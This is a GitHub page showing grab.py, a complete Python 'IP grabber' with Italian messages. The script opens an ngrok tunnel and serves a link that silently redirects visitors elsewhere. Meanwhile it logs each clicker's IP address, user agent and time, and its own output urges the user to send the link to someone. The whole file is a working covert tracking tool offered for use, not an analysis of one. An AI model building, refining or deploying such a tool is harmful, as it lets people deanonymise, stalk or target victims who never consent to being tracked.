-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathgrab.py
More file actions
120 lines (99 loc) · 4.01 KB
/
Copy pathgrab.py
File metadata and controls
120 lines (99 loc) · 4.01 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
import argparse
from http.server import HTTPServer, BaseHTTPRequestHandler
from colorama import Fore
import time
import os
import requests
from threading import Thread
import platform
os.system("cls")
os.system("title GRAB ~ clessidra#8188")
print('')
print('')
print(f'')
print(f'''{Fore.RED}
▄████ ██▀███ ▄▄▄ ▄▄▄▄
██▒ ▀█▒▓██ ▒ ██▒▒████▄ ▓█████▄
▒██░▄▄▄░▓██ ░▄█ ▒▒██ ▀█▄ ▒██▒ ▄██
░▓█ ██▓▒██▀▀█▄ ░██▄▄▄▄██ ▒██░█▀{Fore.RESET}
{Fore.RED}░▒▓███▀▒░██▓ ▒██▒ ▓█ ▓██▒░▓█ ▀█▓
░▒ ▒ ░ ▒▓ ░▒▓░ ▒▒ ▓▒█░░▒▓███▀▒
░ ░ ░▒ ░ ▒░ ▒ ▒▒ ░▒░▒ ░
░ ░ ░ ░░ ░ ░ ▒ ░ ░
░ ░ ░ ░ ░
░{Fore.RESET}
''')
print("")
print("")
print("")
parser = argparse.ArgumentParser(description="IP grabber NGROK")
parser.add_argument('-u', '--redirect-url', type=str, required=True, help="URL to redirect")
parser.add_argument('-p', '--port', type=int, default=8181, help="HTTP Server port")
parser.add_argument('-n', '--ngrok-path', type=str, default='ngrok', help="NGROK path")
parser.add_argument('-o', '--output-file', type=str, help="output file path")
args = parser.parse_args()
save = 0
iplist = []
def redirect():
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', args.redirect_url)
self.end_headers()
def log_message(self, format, *args):
return
HTTPServer(("", int(args.port)), Redirect).serve_forever()
def logip():
global iplist
c = 0
r = requests.get('http://localhost:4040/api/requests/http').json()
if args.output_file:
log = open(args.output_file, "a+")
for i in r['requests']:
if r['requests'][c]['request']['headers']['X-Forwarded-For'][0] not in iplist:
ip = r['requests'][c]['request']['headers']['X-Forwarded-For'][0]
iplist.append(ip)
useragent = r['requests'][c]['request']['headers']['User-Agent'][0]
date = r['requests'][c]['start']
info = "----------\n\x1B[31m<3\033[0m Richiesta: {}\n\x1B[31m<3\033[0m Data: {}\n\x1B[31m<3\033[0m Indirizzo: {}\n\x1B[31m<3\033[0m Amichetto: {}\n----------".format(
iplist.index(ip),
date, ip,
useragent)
print(info)
if args.output_file:
log.write(info)
log.close()
c += 1
def verifyconnection():
global save
while True:
try:
r = requests.get("http://127.0.0.1:4040/api/tunnels/command_line%20(http)").json()
count = r['metrics']['conns']['count']
if count > save:
save = count
logip()
except:
pass
time.sleep(5)
def startngrok():
try:
if platform.system() == "Windows":
os.system("start {} http {}".format(args.ngrok_path, args.port))
else:
os.system("{} http {} > /dev/null &".format(args.ngrok_path, args.port))
print(" \x1B[31m[+]\033[0m Preparazione del database \n")
time.sleep(3)
r = requests.get('http://127.0.0.1:4040/api/tunnels').json()
url = r['tunnels'][0]['public_url'].replace("https://", "http://")
print(' \x1B[31m[+]\033[0m Link : {}'.format(url))
print()
print(" \x1B[31m[+]\033[0m Invia il link a qualcuno <3 \n")
except:
print(" \x1B[31m[#]\033[0m Qualcosa é andato storto")
quit()
if __name__ == "__main__":
startngrok()
webserv = Thread(target=redirect)
webserv.start()
verifyconnection()